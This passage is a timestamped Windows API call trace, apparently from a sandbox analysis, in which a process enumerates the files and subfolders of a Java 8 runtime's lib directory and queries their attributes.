	[0244.896] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa122f229, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fonts", cAlternateFileName="")) returned 1
	[0244.896] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x368a, dwReserved0=0x0, dwReserved1=0x0, cFileName="hijrah-config-umalqura.properties", cAlternateFileName="HIJRAH~1.PRO")) returned 1
	[0244.896] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa12313ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0244.896] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx.properties", cAlternateFileName="JAVAFX~1.PRO")) returned 1
	[0244.896] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8e40a9d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8e40a9d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8e66d0e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe6827, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.jar", cAlternateFileName="")) returned 1
	[0244.896] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1c6de, dwReserved0=0x0, dwReserved1=0x0, cFileName="jce.jar", cAlternateFileName="")) returned 1
	[0244.896] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1295634, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr", cAlternateFileName="")) returned 1
	[0244.896] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x88dc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.jar", cAlternateFileName="")) returned 1
	[0244.896] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x848c, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxswt.jar", cAlternateFileName="")) returned 1
	[0244.896] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa76f896, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa76f896, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa76f896, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8eb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsse.jar", cAlternateFileName="")) returned 1
	[0244.896] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1082, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.hprof.txt", cAlternateFileName="JVMHPR~1.TXT")) returned 1
	[0244.896] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x997, dwReserved0=0x0, dwReserved1=0x0, cFileName="logging.properties", cAlternateFileName="LOGGIN~1.PRO")) returned 1
	[0244.896] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1389711, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="management", cAlternateFileName="MANAGE~1")) returned 1
	[0244.896] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="management-agent.jar", cAlternateFileName="MANAGE~1.JAR")) returned 1
	[0244.896] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x84e, dwReserved0=0x0, dwReserved1=0x0, cFileName="meta-index", cAlternateFileName="META-I~1")) returned 1
	[0244.896] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1170, dwReserved0=0x0, dwReserved1=0x0, cFileName="net.properties", cAlternateFileName="NET~1.PRO")) returned 1
	[0244.897] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8d81efe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8d81efe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8df45fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1d588b, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.jar", cAlternateFileName="")) returned 1
	[0244.897] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xaec, dwReserved0=0x0, dwReserved1=0x0, cFileName="psfont.properties.ja", cAlternateFileName="PSFONT~1.JA")) returned 1
	[0244.897] VirtualAlloc (lpAddress=0xc000296000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000296000
	[0244.898] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2899, dwReserved0=0x0, dwReserved1=0x0, cFileName="psfontj2d.properties", cAlternateFileName="PSFONT~1.PRO")) returned 1
	[0244.898] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x354add, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.jar", cAlternateFileName="RESOUR~1.JAR")) returned 1
	[0244.898] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa90a30aa, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa90a30aa, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa7233eb, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x340865b, dwReserved0=0x0, dwReserved1=0x0, cFileName="rt.jar", cAlternateFileName="")) returned 1
	[0244.898] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1418338, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="security", cAlternateFileName="")) returned 1
	[0244.898] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="sound.properties", cAlternateFileName="SOUND~1.PRO")) returned 1
	[0244.898] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x19c1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="tzdb.dat", cAlternateFileName="")) returned 1
	[0244.898] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x20d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tzmappings", cAlternateFileName="TZMAPP~1")) returned 1
	[0244.899] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0244.899] FindClose (in: hFindFile=0x192c63cda60 | out: hFindFile=0x192c63cda60) returned 1
	[0244.901] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0244.901] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x95)) returned 1
	[0244.909] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x5c, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.909] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe451d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0244.910] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.910] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe451d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd640
	[0244.910] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe451d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0244.910] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27a, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.cfg", cAlternateFileName="")) returned 1
	[0244.910] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0244.910] FindClose (in: hFindFile=0x192c63cd640 | out: hFindFile=0x192c63cd640) returned 1
	[0244.911] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.911] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27a)) returned 1
	[0244.911] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0244.911] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\applet" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\applet"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0244.923] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\applet" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\applet"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.923] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\applet\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd520
	[0244.924] FindNextFileW (in: hFindFile=0x192c63cd520, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0244.924] FindNextFileW (in: hFindFile=0x192c63cd520, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0244.924] FindClose (in: hFindFile=0x192c63cd520 | out: hFindFile=0x192c63cd520) returned 1
	[0244.924] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.924] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x562)) returned 1
	[0244.925] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x58, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.925] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa7bbd53, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa7bbd53, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2e56fa)) returned 1
	[0244.930] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.930] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.930] SetEvent (hEvent=0xe4) returned 1
	[0244.930] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x14983)) returned 1
